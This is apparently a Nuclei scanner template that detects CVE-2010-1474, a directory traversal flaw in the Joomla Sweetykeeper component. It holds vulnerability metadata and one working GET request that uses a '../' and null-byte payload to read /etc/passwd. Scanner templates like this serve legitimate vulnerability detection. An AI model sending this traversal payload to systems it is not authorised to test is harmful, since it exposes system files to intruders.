id: CVE-2010-1474

info:
  name: Joomla! Component Sweetykeeper 1.5 - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the Sweety Keeper (com_sweetykeeper) component 1.5.x for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files.
  remediation: |
    Update to the latest version of Joomla! Component Sweetykeeper or apply the necessary patches to fix the LFI vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/12182
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1474
    - http://www.exploit-db.com/exploits/12182
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/57662
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
    cvss-score: 6.8
    cve-id: CVE-2010-1474
    cwe-id: CWE-22
    epss-score: 0.01242
    epss-percentile: 0.85468
    cpe: cpe:2.3:a:supachai_teasakul:com_sweetykeeper:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: supachai_teasakul
    product: com_sweetykeeper
  tags: cve2010,cve,joomla,lfi,edb,supachai_teasakul

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_sweetykeeper&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100c3c85950a31b922e2c5404fef629f8f1d2befd6ffb61511bd82557b8e657317302206ccb88feb9b5b1bbfc52049d7a8f2a00bf37d632075cf10bf7ec686cb175b1d3:922c64590222798bb761d5b6d8e72950